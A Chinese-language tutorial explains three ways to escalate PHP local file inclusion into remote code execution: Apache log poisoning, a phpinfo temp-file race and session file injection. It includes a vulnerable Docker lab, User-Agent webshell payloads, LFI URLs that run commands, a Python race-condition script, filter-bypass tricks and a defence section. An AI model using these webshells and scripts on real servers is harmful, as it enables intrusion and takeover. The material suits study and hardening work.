Web文件包含漏洞利用:日志、phpinfo与Session三种RCE攻击方法详解
1. 项目概述从文件包含到命令执行的攻防实战在Web安全领域文件包含漏洞File Inclusion一直是一个经典且危险的存在。它不像SQL注入那样广为人知但其潜在的危害性尤其是在与远程代码执行RCE结合时往往能直接导致服务器沦陷。这个项目标题“Web文件包含实现RCE技术详解日志、phpinfo和session三种方法”精准地指向了渗透测试中一个高阶且极具实战价值的技巧组合。简单来说它探讨的是当攻击者发现一个文件包含漏洞但无法直接上传恶意文件时如何利用服务器上已有的、看似无害的文件作为“跳板”最终在目标系统上执行任意命令。这不仅仅是理论上的可能性。在实际的渗透测试和CTF比赛中我们常常遇到“半吊子”的漏洞场景一个include($_GET[‘file’])的漏洞点就在那里但你手头没有上传点服务器也严格限制了包含远程文件allow_url_includeOff。这时候日志、phpinfo和session这三种方法就成为了从“文件读取”升级到“系统命令执行”的关键桥梁。它们分别利用了Web服务器在运行过程中必然产生的数据文件、环境信息输出和用户状态存储机制通过精心构造的输入在这些文件中“植入”恶意代码再通过文件包含漏洞将其包含执行从而绕过直接上传文件的限制。对于安全研究人员、渗透测试工程师和CTF选手而言深入理解这三种方法不仅意味着多掌握了几种攻击向量更重要的是能深刻理解Web应用、服务器组件与操作系统之间数据流转的脆弱边界。而对于开发者和运维人员来说这更是一堂生动的安全课让你明白为什么一个看似微小的配置疏忽或代码缺陷会与系统日志、临时文件等功能产生危险的化学反应最终导致全线失守。接下来我将结合多年的一线实战经验为你彻底拆解这三种技术的原理、实操步骤以及背后的防御逻辑。2. 核心原理与攻击面深度解析要理解如何利用文件包含实现RCE我们必须先回到漏洞的根源。文件包含漏洞通常分为本地文件包含LFI和远程文件包含RFI。在PHP中像include、require这类函数如果其参数如文件名能被用户完全或部分控制就可能导致非预期的文件被加载执行。LFI允许包含服务器本地的文件而RFI需allow_url_include开启则能包含远程URL指向的文件作为代码执行。本项目聚焦的三种方法本质上都是将LFI漏洞转化为代码执行能力的“武器化”过程。其核心思路可以概括为寻找一个服务器上可写或内容可被我们部分控制的、且能被Web应用访问到的文件将PHP代码写入该文件然后通过LFI漏洞去包含这个文件从而执行我们写入的代码。2.1 攻击链条的通用模型无论采用哪种方法攻击链条都遵循一个基本模型存在LFI漏洞点这是前提。例如存在/vuln.php?page../../etc/passwd这样的参数可以遍历目录读取系统文件。定位可写入的目标文件找到服务器上一个Web进程有写入权限的文件。这个文件的内容需要能被我们通过某种方式注入或影响。污染目标文件通过正常的Web请求或交互将恶意的PHP代码如植入到目标文件中。这个过程可能是一次HTTP请求也可能需要多次交互。触发代码执行利用LFI漏洞去包含那个已被我们污染的文件路径。当该文件被include函数加载时其中的PHP标签和代码就会被解析执行。建立持久化访问通过执行的代码进一步上传Webshell或建立反向连接获得稳定的控制权。下面我们就来逐一拆解日志、phpinfo和session这三种方法是如何具体实现这个模型的。2.2 方法一利用Web访问日志这是最经典、最直接的方法。Web服务器如Apache的access.log、Nginx的access.log会记录每一个HTTP请求的详细信息包括请求方法、URL、状态码、User-Agent头等。关键在于这些日志字段的内容直接来源于客户端发送的HTTP请求头。攻击原理可写性与可访问性Web服务器进程如www-data, apache用户需要对日志文件有写入权限。同时如果日志文件存放在Web目录下或通过目录遍历可以访问到如/var/log/apache2/access.log它就满足了“可包含”的条件。污染日志我们在发起HTTP请求时将PHP代码放置在某个请求头字段中例如User-Agent。正常的User-Agent可能是Mozilla/5.0...我们将其改为。服务器在记录日志时会原样将这个字符串写入日志文件的一行里。包含执行通过LFI漏洞去包含这个日志文件。当PHP解释器读取日志文件时遇到标签就会将其中的phpinfo();当作PHP代码执行。实操中的关键点日志文件路径这是成败的关键。需要猜测或探测日志文件的绝对路径。常见路径有/var/log/apache2/access.log、/var/log/nginx/access.log、/var/log/httpd/access_log等。在Windows系统上可能是C:\xampp\apache\logs\access.log。日志编码与格式化日志中可能包含空格、换行符和特殊字符。我们注入的代码必须能适应日志的格式。通常将代码放在User-Agent中是最稳妥的因为该字段一般不会做过多编码处理。但要避免使用引号等可能破坏日志格式的字符。日志滚动如果网站访问量大日志文件可能会被切割如按天滚动。你需要确保包含的是当前正在被写入的日志文件如access.log而非access.log.1。注意现代Web服务器或安全软件可能会对日志进行编码或过滤以防止这种攻击。同时向日志中写入大量异常数据也容易被监控系统发现。2.3 方法二利用phpinfo页面这种方法更为巧妙它利用了phpinfo()函数输出信息的一个特性它会将HTTP请求的整个$_GET、$_POST、$_FILES等数组的内容都打印出来。攻击原理寻找phpinfo目标服务器上需要有一个公开或可访问的phpinfo.php页面内容为。这在开发、测试环境中比较常见。文件上传临时文件当PHP处理一个文件上传请求时无论上传是否成功只要请求体被解析上传的文件都会先在系统的临时目录如/tmp/phpXXXXXX中创建一个临时文件。这个文件会在脚本执行结束后被删除。利用phpinfo延迟删除这里存在一个极短的时间窗口。如果我们同时做两件事A) 向一个存在LFI漏洞的页面发起包含临时文件的请求B) 向phpinfo.php页面发起一个上传请求。那么在B请求处理期间临时文件存在且phpinfo页面会缓慢地输出大量信息包括我们上传文件的内容。如果我们在A请求中精准地包含那个临时文件就有可能在其被删除前成功执行其中的代码。竞争条件攻击这本质上是一种“竞争条件”漏洞。攻击者需要以极快的速度、高并发地发送请求A和请求B争取在临时文件存活的时间窗口内完成包含操作。通常需要编写自动化脚本进行爆破。实操中的关键点时间窗口极短临时文件存活时间可能只有几十甚至几毫秒。手动攻击几乎不可能成功必须依赖自动化脚本。临时文件名预测PHP的临时文件名有一定随机性phpXXXXXX但并非完全不可预测。攻击脚本需要能够快速生成可能的文件名并进行尝试。需要phpinfo这是该方法的前提条件限制了其应用场景。2.4 方法三利用Session文件Session是Web应用维持用户状态的标准机制。PHP默认会将Session数据以文件形式存储在服务器上session.save_handler files通常位于/tmp或/var/lib/php/sessions目录文件名格式为sess_[session_id]文件内容是可读的序列化数据。攻击原理Session文件可写Web进程有权限在Session目录下创建和写入文件。控制Session数据Session文件的内容来自于$_SESSION超全局数组。如果我们能控制服务器上某个Session变量哪怕只是一部分就能向Session文件中注入数据。注入PHP代码如果应用将用户输入未经处理就存入$_SESSION那么我们可以提交一个值为PHP代码的输入。例如一个用户昵称修改的功能将nickname存入Session。我们提交nickname?php system($_GET[‘cmd’]);?。包含Session文件通过LFI漏洞包含我们自己的Session文件路径如/tmp/sess_abc123。由于我们知道自己的session_id通常通过Cookie中的PHPSESSID传递所以能准确定位文件。当该文件被包含时我们注入的PHP代码就会被执行。实操中的关键点Session ID可控或可知你必须知道用于包含的Session文件对应的session_id。这通常意味着你需要有一个有效的、受你控制的会话。Session数据过滤很多框架和规范的应用会对存入Session的数据进行过滤或序列化处理可能将、等字符转义从而破坏我们的代码注入。需要寻找那些处理不当的输入点。Session存储路径需要知道服务器Session的存储路径session.save_path可以通过phpinfo或错误信息泄露获取。3. 实战环境搭建与漏洞复现纸上得来终觉浅绝知此事要躬行。为了彻底理解这三种攻击手法最好的方式就是在可控的环境中进行复现。下面我将以最经典的日志包含为例带你从头搭建一个靶场并完成一次完整的攻击演练。3.1 靶场环境准备我们使用Docker快速搭建一个包含LFI漏洞的PHP环境。1. 创建漏洞文件新建一个目录lfi-lab在其中创建两个文件index.php(存在LFI漏洞的主页)?php // 存在漏洞的代码未对输入进行任何过滤 $page $_GET[‘page’] ?? ‘home.php’; include(‘./pages/’ . $page); ? h1Welcome to Vulnerable Site/h1 pCurrent page is included above./ppages/home.phph2Home Page/h2 pThis is the safe home page./ppages/about.phph2About Us/h2 pThis is about page./p2. 创建Dockerfile在lfi-lab目录下创建DockerfileFROM php:8.1-apache RUN docker-php-ext-install mysqli docker-php-ext-enable mysqli COPY . /var/www/html/ RUN chmod -R 755 /var/www/html chown -R www-data:www-data /var/www/html # 启用Apache的mod_rewrite可选和日志 RUN a2enmod rewrite # 为了方便演示将Apache日志链接到Web可访问目录高风险操作仅用于实验 RUN ln -sf /proc/self/fd/1 /var/log/apache2/access.log chmod or /var/log/apache2/ EXPOSE 803. 构建并运行容器docker build -t lfi-lab . docker run -p 8080:80 --name my-lfi-lab lfi-lab现在访问http://localhost:8080/应该能看到主页。访问http://localhost:8080/index.php?pageabout.php可以正常包含about.php。4. 验证LFI漏洞尝试包含一个系统文件验证漏洞存在http://localhost:8080/index.php?page../../../../etc/passwd如果页面上显示了/etc/passwd文件的内容说明LFI漏洞存在。在我们的Docker镜像中Apache日志默认在/var/log/apache2/access.log并且我们通过软链接使其可读。3.2 利用日志文件实现RCE现在我们开始攻击。1. 污染Apache访问日志我们的目标是向access.log中写入PHP代码。使用curl命令在User-Agent头中携带我们的Webshell代码。curl -A “?php system(\$_GET[‘cmd’]);?” http://localhost:8080/这条命令向首页发起了一个请求并将User-Agent设置为。Apache会记录这条请求我们的代码就被写入了/var/log/apache2/access.log文件。2. 确定日志文件路径并包含在我们的靶场中日志文件就在/var/log/apache2/access.log。通过LFI漏洞去包含它http://localhost:8080/index.php?page../../../../var/log/apache2/access.log此时页面会显示出Apache日志的内容其中包含我们刚才注入的那一行乱码因为?php ... ?被浏览器当成了HTML标签解析。但更重要的是PHP引擎已经执行了这行代码。然而我们看不到命令执行的结果因为system()的输出被淹没在日志文本里了。3. 构造请求执行命令为了看到命令执行的结果我们需要利用我们写入的Webshell。我们注入的代码是system($_GET[‘cmd’]);这意味着我们可以通过cmd参数传递要执行的命令。 构造如下URLhttp://localhost:8080/index.php?page../../../../var/log/apache2/access.logcmdid这个请求做了两件事page参数包含了日志文件。cmd参数作为GET变量传递给我们注入的Webshell代码中的$_GET[‘cmd’]。当这个URL被访问时index.php执行include(‘./pages/../../../../var/log/apache2/access.log’)。PHP引擎读取日志文件内容遇到标签开始解析其中的PHP代码。解析到system($_GET[‘cmd’]);此时$_GET[‘cmd’]的值是id。执行system(‘id’)命令并将输出返回给页面。如果攻击成功你将在页面中看到uid33(www-data) gid33(www-data) groups33(www-data)这样的系统命令回显。至此我们成功通过LFI漏洞利用日志文件实现了远程代码执行。3.3 攻击流程总结与技巧信息收集首先确认LFI漏洞并尝试读取/etc/passwd、/proc/self/environ等文件确认权限。同时通过错误信息或包含/proc/self/fd/XX等方式尝试获取Web根目录、日志路径等信息。日志路径探测如果常见路径不成功需要尝试其他路径。可以尝试读取Apache配置文件/etc/apache2/apache2.conf或/etc/apache2/sites-enabled/000-default.conf来查找CustomLog指令定义的路径。对于Nginx则查找access_log指令。代码注入技巧位置选择除了User-AgentReferer头和URL路径本身包含特殊字符也可能被记录。但User-Agent字段通常最宽松。代码设计注入的Webshell要简洁高效。?php system($_GET[‘c’]);?或?php eval($_POST[‘a’]);?是常见选择。使用$_POST可以绕过日志对URL长度的限制和可见性。编码绕过如果应用或WAF对输入进行了过滤可以尝试使用Base64编码、十六进制编码等方式。例如将?php编码为PD9waHA然后在Webshell中使用base64_decode。包含技巧由于日志文件内容很多我们注入的代码可能位于文件末尾。包含整个大日志文件可能导致超时或内存不足。可以尝试结合tail命令或使用php://filter包装器来读取文件尾部。例如pagephp://filter/readstring.toupper|string.rot13/resource/var/log/apache2/access.log虽然这里不是用来截断但展示了filter的用法。更直接的方法是在注入代码后立即发起大量正常请求将我们的恶意日志行“冲”到更靠前的位置或者等待一段时间让日志滚动。4. 利用phpinfo与Session的进阶攻击详解在掌握了日志包含的基本方法后我们再来深入探讨另外两种更需技巧和条件的攻击方式。4.1 phpinfo竞争条件攻击实战这种方法对时机要求极为苛刻通常需要编写自动化脚本。其核心在于与时间赛跑。攻击场景设定目标存在LFI漏洞/vuln.php?file...目标存在一个公开的phpinfo.php页面。攻击者能够向目标发送Web请求。攻击步骤深度解析第一步理解临时文件生命周期当PHP接收到一个带有文件上传的POST请求时Content-Type为multipart/form-data。PHP解析请求体将上传的文件内容保存到临时目录如/tmp/phpXXXXXX文件名是随机的。在脚本执行期间可以通过$_FILES[‘file’][‘tmp_name’]访问这个临时文件。脚本执行结束时无论成功与否这个临时文件都会被删除。第二步利用phpinfo延长“窗口期”phpinfo()函数会输出海量信息包括$_FILES数组。输出这些内容需要时间。如果我们向phpinfo.php发起一个上传请求在它缓慢输出$_FILES数组内容其中包含我们的恶意文件内容的这段时间里那个临时文件仍然是存在的。这就为我们包含它创造了一个稍纵即逝的机会。第三步自动化竞争攻击脚本逻辑手动操作不可能抓住这个毫秒级的机会。我们需要一个脚本生成一个包含PHP代码的临时文件内容例如?php echo ‘PWNED!’; ?。开启两个并发的线程或进程线程A上传者持续向phpinfo.php发送文件上传POST请求文件内容为我们的恶意代码。线程B包含者持续向LFI漏洞点发送GET请求尝试包含可能存在的临时文件路径模式为/tmp/phpXXXXXX需要预测或暴力枚举。当线程B的请求恰好发生在某个临时文件被创建后、被删除前并且包含了正确的文件路径时攻击就成功了。线程B的响应中会包含我们注入的代码执行结果如输出“PWNED!”。编写简易攻击脚本Python示例import requests import threading import queue import random import string target_lfi “http://target.com/vuln.php?file” target_phpinfo “http://target.com/phpinfo.php” tmp_file_pattern “/tmp/php” def uploader(): while True: # 生成一个随机的文件名和内容 file_content ‘?php echo “WIN!” . system($_GET[“cmd”]); ?’ files {‘file’: (‘shell.php’, file_content, ‘application/x-php’)} try: requests.post(target_phpinfo, filesfiles, timeout2) except: pass def includer(): while True: # 暴力猜测临时文件名通常后6位是随机字母数字 guess tmp_file_pattern ”.join(random.choices(string.ascii_lowercase string.digits, k6)) url target_lfi guess try: resp requests.get(url, timeout2) if “WIN!” in resp.text: print(f”[] Success! Included file: {guess}“) print(resp.text) break except: pass if __name__ “__main__”: print(“[*] Starting race condition attack...“) t1 threading.Thread(targetuploader) t2 threading.Thread(targetincluder) t1.daemon True t2.daemon True t1.start() t2.start() t1.join() t2.join()这是一个高度简化的概念验证脚本。真实环境中需要更复杂的逻辑来处理并发、错误、以及更精准的文件名预测。4.2 Session文件包含攻击实战这种方法相对更稳定前提是你能控制Session。攻击场景设定目标存在LFI漏洞。目标使用默认的PHP文件Session处理器session.save_handler files。目标应用存在一个将用户输入存储到$_SESSION中的功能点且未做充分过滤。你知道自己的session_id即Cookie中的PHPSESSID值。攻击步骤第一步寻找Session注入点你需要找到一个将用户可控数据存入Session的地方。例如用户登录后的“显示用户名”功能从Session读取$_SESSION[‘username’]。购物车功能将商品ID存入$_SESSION[‘cart’]。用户偏好设置如主题、语言存入Session。 你需要测试这些功能点提交包含特殊字符如的数据然后想办法读取或包含你的Session文件查看这些字符是否被原样存储。如果被转义变成lt;?php则注入失败。第二步获取Session存储路径包含phpinfo.php页面查找session.save_path的值。如果没有phpinfo可以尝试包含常见的路径如/tmp,/var/lib/php/sessions,/var/lib/php5,/var/lib/php7.*/sessions等。第三步实施攻击假设我们找到了一个更新昵称的功能/update_profile.php它接收POST参数nickname并存入$_SESSION[‘nickname’]。使用浏览器或工具正常登录网站获取你的PHPSESSID假设为abc123def456。向/update_profile.php发送POST请求将nickname设置为我们的Webshell代码nickname?php system($_GET[‘c’]);?。此时服务器上的Session文件路径如/tmp/sess_abc123def456内容会变成类似nickname|s:30:“?php system($_GET[‘c’]);?”;。利用LFI漏洞包含这个Session文件/vuln.php?file../../../../tmp/sess_abc123def456。在包含时添加命令参数/vuln.php?file../../../../tmp/sess_abc123def456cid。如果成功将会执行id命令。一个关键技巧Session序列化格式PHP默认使用php_serialize或php序列化处理器。我们的注入必须符合序列化字符串的格式否则会破坏整个Session文件导致无法被正确读取。在上例中s:30:“...”表示一个长度为30的字符串。我们注入的代码长度是30吗不一定。如果长度不匹配Session解析会失败。更稳妥的方法是先读取一次自己的Session文件了解其精确格式然后构造一个长度完全匹配的Payload。或者可以尝试利用PHP反序列化漏洞但这属于另一个更复杂的领域。5. 防御策略与安全加固指南了解了攻击手段防御的思路就清晰了切断攻击链条中的任何一个环节即可。5.1 根本解决杜绝文件包含漏洞1. 白名单校验这是最有效的方法。不要使用用户输入直接作为包含的文件名。如果必须动态包含应使用一个预定义的白名单进行映射。// 错误示范 $page $_GET[‘page’]; include(‘./pages/’ . $page); // 正确示范白名单 $allowed_pages [‘home’ ‘home.php’, ‘about’ ‘about.php’, ‘contact’ ‘contact.php’]; $page_key $_GET[‘page’] ?? ‘home’; if (array_key_exists($page_key, $allowed_pages)) { include(‘./pages/’ . $allowed_pages[$page_key]); } else { include(‘./pages/404.php’); }2. 严格过滤输入如果白名单不适用必须对输入进行严格过滤。去除目录遍历字符使用str_replace或正则表达式过滤../,..\,./,.\等字符。但注意双写、编码等绕过方式。限制文件后缀确保包含的文件具有特定的安全后缀如.php。但要注意%00空字节截断在PHP旧版本中等攻击。使用basename()函数basename()函数会返回路径中的文件名部分去掉目录信息。include(‘./pages/’ . basename($_GET[‘page’]))可以防止简单的目录遍历但无法防止包含非预期目录下的文件如/etc/passwd。3. 使用绝对路径或限定根目录使用__DIR__等魔术常量与用户输入拼接时要确保最终路径在Web根目录或指定安全目录下。可以考虑在包含前用realpath()函数解析完整路径然后检查这个路径是否在以Web根目录为前缀的范围内。5.2 针对特定攻击方法的防御防御日志包含攻击将日志文件移出Web可访问目录这是最重要的措施。确保Apache/Nginx的日志目录如/var/log/apache2不在Web根目录或其子目录下且目录权限不允许Web用户读取。严格日志目录权限设置日志目录权限为750所有者root组adm或类似管理组Web运行用户如www-data不应有读取权限。过滤日志内容虽然不常见但可以通过自定义日志格式对User-Agent、Referer等字段进行简单的字符过滤或转义但这可能影响日志的准确性。防御phpinfo竞争条件攻击生产环境关闭phpinfophpinfo()页面会泄露大量敏感信息包括路径、配置、扩展等。绝不应在生产环境中部署可公开访问的phpinfo.php。使用独立的临时目录可以为PHP设置一个Web用户无访问权限的临时文件目录upload_tmp_dir但这可能影响正常文件上传功能。及时删除临时文件确保upload_tmp_dir不在Web目录下且PHP在文件处理完毕后立即清理临时文件的机制正常工作。防御Session文件包含攻击对存入Session的数据进行过滤和转义在将任何用户输入存入$_SESSION之前必须进行严格的验证和过滤。对于预期为纯文本的数据可以使用htmlspecialchars()或自定义的过滤函数。将Session文件存储在安全位置确保session.save_path指向的目录不在Web目录下且权限设置正确如700仅允许Web用户自己读写。使用其他Session处理器考虑使用数据库session.save_handler user或pdo、Redis或Memcached来存储Session数据避免使用文件系统。这不仅能防御文件包含还能提升性能和便于集群部署。定期清理Session文件配置session.gc_*系列参数确保过期的Session文件能被及时清理。5.3 系统与运维层面的加固最小权限原则运行Web服务的用户如www-data应拥有尽可能少的权限。它不应该有对/etc,/home等敏感目录的读取权限更不应有写权限。配置open_basedir在php.ini中设置open_basedir将PHP可访问的文件系统限制在Web根目录及其必要目录内。例如open_basedir /var/www/html:/tmp。这能有效防止目录遍历到系统关键文件。禁用危险函数在php.ini中将disable_functions设置为包含system,exec,passthru,shell_exec,proc_open,popen等函数。这样即使攻击者注入了代码也无法执行系统命令。但注意这可能会影响某些正常功能。部署Web应用防火墙WAFWAF可以识别和拦截包含../,etc/passwd,?php等特征的恶意请求在应用层提供一道防线。安全审计与监控定期审计代码特别是所有包含文件操作、命令执行、反序列化等危险功能的代码。同时监控服务器日志关注异常的访问模式如大量尝试包含日志文件或/proc/self/environ的请求。6. 渗透测试中的技巧与深度利用在实际的渗透测试中情况往往比理想化的靶场复杂得多。以下是一些进阶的技巧和思路可以帮助你在遇到障碍时找到突破口。6.1 当常见路径失效时利用/proc文件系统在Linux上/proc是一个虚拟文件系统提供了大量关于进程和系统的信息。一些有趣的路径包括/proc/self/cwd/指向当前进程的工作目录可能是Web根目录。/proc/self/environ包含进程的环境变量可能泄露路径、数据库密码等。/proc/self/fd/[数字]指向进程打开的文件描述符。如果服务器打开了日志文件或配置文件可以通过遍历fd目录来包含它们。例如通过LFI读取/proc/self/fd/7可能正好是access.log。利用PHP包装器Wrapper即使不能直接包含系统文件PHP内置的包装器也可能提供帮助。php://filter用于读取文件源码。例如pagephp://filter/convert.base64-encode/resourceindex.php可以以Base64编码形式读取index.php的源码从而分析其他漏洞。data://如果allow_url_include开启可以直接执行代码pagedata://text/plain,?php phpinfo();?。但现代配置默认关闭此选项。爆破与模糊测试使用工具如ffuf或wfuzz配合强大的字典对可能的日志路径、配置文件路径、备份文件路径进行爆破。ffuf -u “http://target.com/vuln.php?pageFUZZ“ -w /usr/share/wordlists/dirb/common.txt -fs 06.2 从LFI到信息泄露的升级即使无法直接实现RCELFI本身也是一个严重的信息泄露漏洞。读取配置文件包含/etc/passwd了解用户包含Web服务器配置如Apache的httpd.conf、数据库配置文件如wp-config.php来获取数据库凭证。读取应用源码通过包含.php文件结合php://filter的编码可以读取后端源代码寻找其他漏洞如SQL注入、反序列化、逻辑漏洞。读取进程环境/proc/self/environ可能包含数据库连接字符串、API密钥、密钥等敏感信息。6.3 结合其他漏洞形成组合拳真正的渗透测试中漏洞往往不是孤立的。LFI 文件上传如果存在一个受限的文件上传点只允许上传图片你可以尝试上传一个包含Webshell代码的图片马如GIF头PHP代码然后利用LFI漏洞去包含这个上传的图片文件。如果服务器配置不当如未检查文件内容或PHP版本存在某些解析漏洞图片中的PHP代码可能会被执行。LFI SSRF如果存在服务器端请求伪造漏洞可以结合LFI让服务器去读取内网的其他敏感文件如file:///etc/passwd从而绕过某些网络边界限制。信息泄露 - RCE通过LFI读取到的配置文件如数据库密码可能用于登录后台进而找到文件上传点最终获得RCE。7. 总结与个人实战心得回顾这三种从文件包含到远程代码执行的方法它们共同揭示了一个深刻的道理安全是一个整体任何一个环节的疏忽都可能被串联起来形成致命的攻击链。日志文件本是用于审计和排查问题的phpinfo页面本是用于调试的Session本是用于维持状态的但当它们与一个不起眼的LFI漏洞相遇时一切都变了味。在我多年的渗透测试经历中日志包含是遇到最多也最易成功的方法。很多中小型站点甚至一些大型企业的老旧系统仍然将日志文件放在默认位置且权限宽松。phpinfo竞争条件攻击更像是一种“理论炫技”在实际网络中成功的案例较少因为它条件苛刻但对理解PHP运行时机制很有帮助。Session文件包含则处于两者之间一旦找到Session注入点成功率很高关键在于对目标应用业务逻辑的深入理解。对于防御者而言 checklist 很简单但必须严格执行输入过滤、最小权限、安全配置、定期审计。对于攻击者在授权测试中思路则要开阔不要满足于读取一个/etc/passwd就宣告漏洞存在要不断地问自己“然后呢”。这个漏洞能读到什么读到的信息能帮助我找到其他漏洞吗有没有办法把“读”变成“写”再把“写”变成“执行”这种层层递进的思维才是安全研究的乐趣所在。最后再分享一个很实用的小技巧在测试LFI时除了../别忘了试试....//或..;/之类的变形有时WAF的过滤逻辑很粗糙。另外在利用日志包含时如果直接包含整个日志文件因太大而超时可以尝试在Payload后加上大量的空格或换行然后立即访问首页多次让你的恶意日志行被顶到文件末尾附近再尝试包含有时能提高成功率。安全攻防往往就在这些细微的差别之间。